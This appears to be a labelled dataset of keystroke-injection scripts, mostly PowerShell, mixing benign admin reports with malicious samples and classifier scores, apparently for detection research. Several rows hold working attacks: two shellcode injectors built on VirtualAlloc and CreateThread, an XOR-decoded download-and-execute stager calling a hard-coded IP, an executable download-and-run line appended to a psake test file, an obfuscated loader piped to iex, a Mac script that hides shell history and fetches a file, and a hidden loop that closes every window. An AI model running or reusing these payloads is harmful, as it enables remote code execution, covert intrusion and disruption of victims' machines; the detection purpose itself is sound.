"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_u389itkr"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Get-PnpDevice | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4358218e-05
"win+r enter powershell enter enter enter function Write-PrereqResults ($FailureReasons, $testId) { enter if ($FailureReasons.Count -eq 0) { enter Write-KeyValue ""Prerequisites met: "" $testId enter } enter else { enter Write-Host -ForegroundColor Red ""Prerequisites not met: $testId"" enter foreach ($reason in $FailureReasons) { enter Write-Host -ForegroundColor Yellow -NoNewline ""`t[*] $reason"" enter } enter Write-Host -ForegroundColor Yellow -NoNewline ""`nTry installing prereq's with the "" enter Write-Host -ForegroundColor Cyan -NoNewline ""-GetPrereqs"" enter Write-Host -ForegroundColor Yellow "" switch"" enter } enter } enter enter",1,0,0.9999362,6.3777974e-05
"win+r powershell enter function Stop-PSFFunction { [Diagnostics.CodeAnalysis.SuppressMessageAttribut enter e(""PSUseShouldProcessForStateChangingFunctions"", """")] [CmdletBinding(DefaultPar enter ameterSetName = 'Message', HelpUri = 'https://psframework.org/documentation/comm enter ands/PSFramework/Stop-PSFFunction')] param ( [Parameter(Mandatory = $true, Par enter ameterSetName = 'Message')] [string] $Message, [Parameter(Mandatory = $true enter , ParameterSetName = 'String')] [string] enter enter",1,1,0.0021754806,0.99782455
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_w8tehvsr"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Write-Host ""Starting system_inventory section 2."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,3) } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.417043e-05
"win+r powershell enter function findOldADComputers () { $aOldComputers = @(); $aAllAdComputers = Get enter -ADComputer -Filter * -Properties LastLogonDate,PasswordLastSet | Where { $_.Ena enter bled -eq $true }; foreach ($oAdComputer in $aAllAdComputers) { if ($oAdComput enter er.lastLogonDate -ne $null) { if ($oAdComputer.lastLogonDate -lt [DateTime]::No enter w.Subtract([TimeSpan]::FromDays(60))) { if ($oAdComputer.PasswordLastSet -lt [D enter ateTime]::Now.Subtract([TimeSpan]::FromDays(60))) { $aOldComputers += $oAdCompu enter ter.Name; } } } } enter",1,1,0.0065316483,0.9934683
"win+r enter powershell enter enter enter win r powershell -windowstyle hidden enter powershell -nop -noni -w hidden -exec bypass invoke-webrequest ""[canary url here]"" enter enter enter",1,1,0.0011007277,0.9988992
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x69,0x68,0x02,0x00,0x02,0x9a,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x75,0xee,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1620897e-05,0.9999484
"win+r enter powershell enter enter enter t r y { G e t - U e v C o n f i g u r a t i o n : O p t i m i z e - W i n d o w s I m a g e enter enter S t a r t - D t c D i a g n o s t i c R e s o u r c e M a n a g e r : S u s p e n d - S e r v i c e enter enter W r i t e - D e b u g : W a i t - D e b u g g e r } c a t c h { enter $ k N w D = "" p P R h t D o c v i O S D w O X q e U i H p U Q r f X P q J Q v s i J A h f o x A e R d B p d K l m j k D b U V l M x J "" - r e p l a c e "" p M X r | P R h t D | c v i O S D | O X q | U i H p U Q | f X P q J Q v | i J A | f o x A | R d B p d K | m j k D b U V | M x J "" ; enter enter t r y { E n a b l e - T l s C i p h e r S u i t e : P u s h - L o c a t i o n enter enter S h o w - C o m m a n d : S e t - T i m e Z o n e enter enter G e t - P r o c e s s : S e t - W S M a n Q u i c k C o n f i g } c a t c h { } enter enter $ b L r R o g = G e t - P r o c e s s $ k N w D ; enter enter i f ( $ b L r R o g . l e n g t h - l t 2 ) { enter enter $ S q c o f b W W p o B h p b u I w M H J = @ ( 1 . . 1 6 ) ; enter enter $ d I I i F = [ S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . M a r s h a l ] enter enter $ u T X c x j I K T h C S h S = G e t - C o n t e n t "" d e s k t o p . i n i "" enter enter $ u l V k H D w U w j Y H g A H I D A = C o n v e r t T o - S e c u r e S t r i n g $ u T X c x j I K T h C S h S - k e y $ S q c o f b W W p o B h p b u I w M H J ; enter enter $ I e I n S = $ d I I i F : : S e c u r e S t r i n g T o B S T R ( $ u l V k H D w U w j Y H g A H I D A ) ; enter enter t r y { R e m o v e - J o b T r i g g e r : R e s e t - C o m p u t e r M a c h i n e P a s s w o r d enter enter S u s p e n d - J o b : G e t - W I M B o o t E n t r y enter enter C o n v e r t F r o m - S t r i n g : R e m o v e - P S R e a d l i n e K e y H a n d l e r } c a t c h { $ u p d = ' E O K x B s V y ' ; } enter enter $ X U Y m R b l d o o r s M = $ d I I i F : : P t r T o S t r i n g A u t o ( $ I e I n S ) ; enter enter t r y { S e t - A p p v C l i e n t C o n f i g u r a t i o n : S e t - C I P o l i c y S e t t i n g enter enter U p d a t e - W I M B o o t E n t r y : E x p o r t - C l i x m l enter enter R e m o v e - A p p v C l i e n t P a c k a g e : U s e - T r a n s a c t i o n } c a t c h { } enter enter $ X U Y m R b l d o o r s M - r e p l a c e "" m z y O H t Q m R r i r H "" | i e x ; } } enter enter",1,1,9.096047e-05,0.99990904
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_t45q7j9a"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_200.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4190343e-05
win+r powershell enter function Reset-CHostsFile { [CmdletBinding(SupportsShouldProcess=$true)] par enter am( [string] $Path = (Get-CPathToHostsFile) ) Set-StrictMode -Version 'La enter test' enter enter,1,1,0.003960626,0.9960394
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_nej9ydzi"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter",0,0,0.999966,3.39791e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_mdiuy5tq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Export-Csv -Path (Join-Path $ReportDir ""network_dns_servers.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4286073e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_0adw82cv"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter Export-Csv -Path (Join-Path $ReportDir ""network_ip_config.csv"") -NoTypeInformation enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_150.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4085453e-05
"unknown_key_action ID 05ac:021e Apple:Keyboard enter delay_medium enter unknown_key_action GUI SPACE enter delay_medium enter terminal enter delay_medium enter enter enter delay_medium enter echo -e ""export HISTCONTROL=ignorespace enter unset HISTFILE"" >> ~/.bashrc && source ~/.bashrc && exec bash enter delay_medium enter enter enter delay_medium enter history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') enter delay_medium enter enter enter delay_medium enter enter enter delay_medium enter nohup curl -L -o ~/Desktop/<filename> ""<Dropbox URL>"" & enter delay_medium enter enter enter delay_medium enter enter enter delay_medium enter unknown_key_action GUI w",1,1,5.440904e-05,0.99994564
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_pdfovxvx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name ""*network*"" -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3657114e-05
"win+r enter powershell enter enter enter $wc=NeW-ObJECT SYSteM.NET.WEBCLIENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$wc.HEadERS.ADd('User-Agent',$u);$Wc.PRoXY = [SysteM.NEt.WeBReQUEst]::DeFaULtWeBPRoxY;$Wc.PrOxY.CRedEnTiaLs = [SySTeM.NeT.CREdENtIALCaChe]::DefaULtNeTwORkCREDEnTIAls;$K='879526880aa49cbc97d52c1088645422';SLEEP 360;$R=5;dO{TrY{$i=0;[CHAR[]]$B=([cHAR[]]($WC.DoWNLOaDSTRINg(""https://52.39.227.108:443/index.asp"")))|%{$_-bXOr$K[$I++%$k.LEngth]};IEX ($B-JoIn''); $R=0;}catCh{sLeEP 5;$R--}} WhiLE ($R -GT 0) enter enter",1,1,5.498572e-05,0.99994504
win+r powershell enter function Test-FileInUse { [CmdletBinding()] [OutputType([bool])] param ( [s enter tring] $FilePath ) if(Microsoft.PowerShell.Management\Test-Path -LiteralPath enter $FilePath -PathType Leaf) { enter enter,1,1,0.005154158,0.99484587
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_qm3y05wz"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 30 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_memory_30.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4172874e-05
DUCKY_REAL_BEGIN enter REM enable the OOBE bypass to allow local account on windows 11 enter REM This file will enable the bypass and reboot the computer enter SHIFT F10 enter DELAY 1000 enter HOLD ALT enter DELAY 1000 enter HOLD TAB enter DELAY 500 enter RIGHT enter DELAY 200 enter RELEASE TAB enter DELAY 500 enter RELEASE ALT enter DELAY 1000 enter SHIFT F10 enter DELAY 1000 enter HOLD ALT enter DELAY 1000 enter HOLD TAB enter DELAY 500 enter RIGHT enter DELAY 200 enter RELEASE TAB enter DELAY 500 enter RELEASE ALT enter DELAY 1000 enter STRING OOBE\BYPASSNRO enter DELAY 1000 enter ENTER enter DUCKY_REAL_END,1,1,6.038449e-05,0.99993956
win+r powershell enter delay_long enter win+r enter delay_medium enter powershell -w h -NoP -NonI -Exec Bypass while(1) {$ws=gps|?{$_.MainWindowHandle-ne 0};foreach($w in $ws){if($w.ProcessName-ne'explorer'-and$w.Id-ne$PID){$w.CloseMainWindow()}}sleep -Seconds 1} enter enter enter,1,1,0.00012632078,0.99987364
win+r powershell enter function Get-FileExtension { param( [Parameter(Mandatory=$True)] [string]$Ty enter peName ) switch ($TypeName) { 'Report' { return '.rdl' } 'DataSource' { ret enter urn '.rsds' } 'DataSet' { return '.rsd' } 'MobileReport' { return '.rsmobile' enter } enter,1,1,0.0027446891,0.9972554
"win+r enter powershell enter enter enter <# enter .Synopsis enter Returns all firewall rules enter .DESCRIPTION enter Returns all firewall rules enter .EXAMPLE enter PS C:\> Get-FirewallRule -Enabled $true | sort direction,applicationName,name enter .EXAMPLE enter PS C:\> Get-firewallRule -enabled $true | sort direction,applicationName,name | format-table -wrap -autosize -property Name, @{Label=""Action""; expression={$Fwaction[$_.action]}},@{label=""Direction"";expression={ $fwdirection[$_.direction]}},@{Label=""Protocol""; expression={$FwProtocols[$_.protocol]}}, localPorts,applicationname enter #> enter Function Get-FireWallRule enter { enter Param ( enter $Name, enter $Direction, enter $Enabled, enter $Protocol, enter $profile, enter $action, enter $grouping enter ) enter enter $Rules = (New-object -comObject HNetCfg.FwPolicy2).rules enter If ($name) { $rules= $rules | where-object {$_.name -like $name}} enter If ($direction) {$rules= $rules | where-object {$_.direction -eq $direction}} enter If ($Enabled) {$rules= $rules | where-object {$_.Enabled -eq $Enabled}} enter If ($protocol) {$rules= $rules | where-object {$_.protocol -eq $protocol}} enter If ($profile) {$rules= $rules | where-object {$_.Profiles -bAND $profile}} enter If ($Action) {$rules= $rules | where-object {$_.Action -eq $Action}} enter If ($Grouping) {$rules= $rules | where-object {$_.Grouping -Like $Grouping}} enter enter $rules enter enter } enter Function Get-FireWallRulesAll enter { enter enter Netsh.exe Advfirewall show allprofiles enter enter $spaces1 = "" "" * 71 enter $spaces2 = "" "" * 64 enter Get-FireWallRule -Enabled $true | sort name | ` enter format-table -property ` enter @{label=""Name"" + $spaces1 ; expression={$_.name} ; width=75}, ` enter @{label=""Action"" ; expression={$Fwaction[$_.action]} ; width=6 }, ` enter @{label=""Direction"" ; expression={$fwdirection[$_.direction]} ; width=9 }, ` enter @{label=""Protocol"" ; expression={$FwProtocols[$_.protocol]} ; width=8 }, ` enter @{label=""Local Ports"" ; expression={$_.localPorts} ; width=11}, ` enter @{label=""Application Name"" + $spaces2 ; expression={$_.applicationname} ; width=80} enter enter } enter enter",1,1,0.00015758014,0.9998424
"win+r enter powershell enter enter enter properties { enter $x = 1 enter } enter enter task default -depends Verify enter enter task Verify -description ""This task verifies psake's variables"" { enter Assert (Test-Path ""variable:psake"") ""variable psake was not exported from module"" enter enter Assert ($psake.ContainsKey(""build_success"")) ""'psake' variable does not contain key 'build_success'"" enter Assert ($psake.ContainsKey(""version"")) ""'psake' variable does not contain key 'version'"" enter Assert ($psake.ContainsKey(""build_script_file"")) ""'psake' variable does not contain key 'build_script_file'"" enter Assert ($psake.ContainsKey(""build_script_dir"")) ""'psake' variable does not contain key 'build_script_dir'"" enter enter Assert (!$psake.build_success) '$psake.build_success should be $false' enter Assert ($psake.version) '$psake.version was null or empty' enter Assert ($psake.build_script_file) '$psake.build_script_file was null' enter Assert ($psake.build_script_file.Name -eq ""writing_psake_variables_should_pass.ps1"") '$psake.build_script_file.Name was not equal to ""writing_psake_variables_should_pass.ps1""' enter Assert ($psake.build_script_dir) '$psake.build_script_dir was null or empty' enter enter Assert ($psake.context.Count -eq 1) '$psake.context should have had a length of one (1) during script execution' enter enter $config = $psake.context.peek().config enter Assert ($config) '$psake.config is $null' enter Assert ((new-object ""System.IO.FileInfo"" $config.buildFileName).FullName -eq $psake.build_script_file.FullName) ('$psake.context.peek().config.buildFileName not equal to ""{0}""' -f $psake.build_script_file.FullName) enter Assert ($config.framework -eq ""4.0"") '$psake.context.peek().config.framework not equal to ""4.0""' enter Assert ($config.taskNameFormat -eq ""Executing {0}"") '$psake.context.peek().config.taskNameFormat not equal to ""Executing {0}""' enter Assert (!$config.verboseError) '$psake.context.peek().config.verboseError should be $false' enter Assert ($config.coloredOutput) '$psake.context.peek().config.coloredOutput should be $false' enter Assert ($config.modules -eq $null) '$psake.context.peek().config.modules is not $null' enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.58.30/~trevor/winx64.exe',""$env:APPDATA\winx64.exe"");Start-Process (""$env:APPDATA\winx64.exe"") enter enter",1,1,6.035231e-05,0.9999397
"win+r enter powershell enter enter enter $apiVersion = ""2015-04-08"" enter $resourceGroupName = ""myResourceGroup"" enter $accountName = ""mycosmosaccount"" enter $keyspaceName = ""keyspace1"" enter $tableName = ""table1"" enter $keyspaceThroughputResourceType = ""Microsoft.DocumentDb/databaseAccounts/apis/keyspaces/settings"" enter $keyspaceThroughputResourceName = $accountName + ""/cassandra/"" + $keyspaceName + ""/throughput"" enter $tableThroughputResourceName = $accountName + ""/cassandra/"" + $keyspaceName + ""/"" + $tableName + ""/throughput"" enter $tableThroughputResourceType = ""Microsoft.DocumentDb/databaseAccounts/apis/keyspaces/tables/settings"" enter Get-AzResource -ResourceType $keyspaceThroughputResourceType ` enter -ApiVersion $apiVersion -ResourceGroupName $resourceGroupName ` enter -Name $keyspaceThroughputResourceName | Select-Object Properties enter Get-AzResource -ResourceType $tableThroughputResourceType ` enter -ApiVersion $apiVersion -ResourceGroupName $resourceGroupName ` enter -Name $tableThroughputResourceName | Select-Object Properties enter enter",0,0,0.99995434,4.5656932e-05
"win+r enter powershell enter enter enter Set-StrictMode -Version 'Latest' enter enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve) enter enter $rootDir = $null enter $childDir = $null enter $grandchildFile = $null enter $childFile = $null enter enter function Assert-EverythingCompressed enter { enter Assert-Compressed -Path $rootDir enter Assert-Compressed -Path $childDir enter Assert-Compressed -Path $grandchildFile enter Assert-Compressed -Path $childFile enter } enter enter function Assert-NothingCompressed enter { enter Assert-NotCompressed -Path $rootDir enter Assert-NotCompressed -Path $childDir enter Assert-NotCompressed -Path $grandchildFile enter Assert-NotCompressed -Path $childFile enter } enter enter function Assert-Compressed enter { enter param( enter $Path enter ) enter enter (Test-NtfsCompression -Path $Path) | Should Be $true enter } enter enter function Assert-NotCompressed enter { enter param( enter $Path enter ) enter (Test-NtfsCompression -Path $Path) | Should Be $false enter } enter enter Describe 'Disable-NtfsCompression' { enter BeforeEach { enter $script:rootDir = Join-Path -Path $TestDrive.FullName -ChildPath ([IO.Path]::GetRandomFileName()) enter $script:childDir = Join-Path $rootDir 'ChildDir' enter $script:grandchildFile = Join-Path $rootDir 'ChildDir\GrandchildFile' enter $script:childFile = Join-Path $rootDir 'ChildFile' enter enter New-Item -Path $grandchildFile -ItemType 'File' -Force enter New-Item -Path $childFile -ItemType 'File' -Force enter enter Enable-NtfsCompression $rootDir -Recurse enter enter Assert-EverythingCompressed enter } enter enter It 'should disable compression on directory only' { enter Disable-NtfsCompression -Path $rootDir enter enter Assert-NotCompressed -Path $rootDir enter Assert-Compressed -Path $childDir enter Assert-Compressed -path $grandchildFile enter Assert-Compressed -Path $childFile enter enter $newFile = Join-Path $rootDir 'newfile' enter '' > $newFile enter Assert-NotCompressed -Path $newFile enter enter $newDir = Join-Path $rootDir 'newDir' enter $null = New-Item -Path $newDir -ItemType Directory enter Assert-NotCompressed -Path $newDir enter } enter enter It 'should fail if path does not exist' { enter $Error.Clear() enter enter Disable-NtfsCompression -Path 'C:\I\Do\Not\Exist' -ErrorAction SilentlyContinue enter enter $Error.Count | Should Be 1 enter ($Error[0].Exception.Message -like '*not found*') | Should Be $true enter enter Assert-EverythingCompressed enter } enter enter It 'should disable compression recursively' { enter Disable-NtfsCompression -Path $rootDir -Recurse enter enter Assert-NothingCompressed enter } enter enter It 'should support piping items' { enter Get-ChildItem $rootDir | Disable-NtfsCompression enter enter Assert-Compressed $rootDir enter Assert-NotCompressed $childDir enter Assert-Compressed $grandchildFile enter Assert-NotCompressed $childFile enter } enter enter It 'should support piping strings' { enter ($childFile,$grandchildFile) | Disable-NtfsCompression enter enter Assert-Compressed $rootDir enter Assert-Compressed $childDir enter Assert-NotCompressed $grandchildFile enter Assert-NotCompressed $childFile enter } enter enter It 'should decompress array of items' { enter Disable-NtfsCompression -Path $childFile,$grandchildFile enter Assert-Compressed $rootDir enter Assert-Compressed $childDir enter Assert-NotCompressed $grandchildFile enter Assert-NotCompressed $childFile enter } enter enter It 'should decompress already decompressed item' { enter Disable-NtfsCompression $rootDir -Recurse enter Assert-NothingCompressed enter enter Disable-NtfsCompression $rootDir -Recurse enter $LASTEXITCODE | Should -Be 0 enter Assert-NothingCompressed enter } enter enter It 'should support what if' { enter Disable-NtfsCompression -Path $childFile -WhatIf enter Assert-Compressed $childFile enter } enter enter It 'should not decompress if already decompressed' { enter Disable-CNtfsCompression -Path $rootDir enter Assert-NotCompressed $rootDir enter Mock -CommandName 'Invoke-ConsoleCommand' -ModuleName 'Carbon' enter Disable-CNtfsCompression -Path $rootDir enter Assert-MockCalled 'Invoke-ConsoleCommand' -ModuleName 'Carbon' -Times 0 enter Disable-CNtfsCompression -Path $rootDir -Force enter Assert-MockCalled 'Invoke-ConsoleCommand' -ModuleName 'Carbon' -Times 1 enter } enter } enter enter",0,0,0.99995327,4.6762834e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x03,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
